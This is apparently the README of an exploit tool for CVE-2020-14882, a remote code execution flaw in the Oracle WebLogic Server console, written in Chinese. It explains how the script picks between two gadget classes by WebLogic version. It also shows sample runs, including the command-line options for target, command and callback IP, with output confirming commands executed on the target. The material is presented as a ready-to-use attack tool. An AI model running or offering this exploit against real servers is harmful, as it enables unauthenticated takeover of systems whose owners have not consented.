
CVE-2020-14882
CVE-2020-14882
Oracle Fusion Middleware的Oracle WebLogic Server产品中存在漏洞(组件:控制台)。受影响的支持版本包括10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0和14.1.1.0.0。该漏洞易于利用,未经身份验证的攻击者可通过HTTP网络访问破坏Oracle WebLogic Server。成功利用此漏洞可能导致Oracle WebLogic被接管
对于12.2.1之前的Oracle WebLogic版本,我们需要使用类'com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext',因为类'com.tangosol.coherence.mvel2.sh.ShellSession'不可用。 该脚本根据检测到的版本自动在两种类之间切换以执行命令。
目前GitHub上一些用于利用CVE-2020-14882的脚本仅支持类'com.tangosol.coherence.mvel2.sh.ShellSession',这意味着这些脚本在WebLogic版本10.3.6.0.0和12.1.3.0.0上会失败。
% python3 CVE-2020-14882.py -u http://172.16.164.134:7001 -c 'uname -r > /tmp/success' -i 172.16.164.1
[*] http://172.16.164.134:7001/console/login/LoginForm.jsp [version 12.1.3.0.0]
[*] Using: com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
172.16.164.134 - - [25/Feb/2021 20:55:36] "GET /test.xml); HTTP/1.1" 200 -
% python3 CVE-2020-14882.py -u http://127.0.0.1:7001 -c 'uname -r' -i 172.16.164.1
http://127.0.0.1:7001/console/login/LoginForm.jsp
[*] http://127.0.0.1:7001/console/login/LoginForm.jsp [version 12.2.1.3.0]
[*] Using: com.tangosol.coherence.mvel2.sh.ShellSession
Linux 96fc5d43736b 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux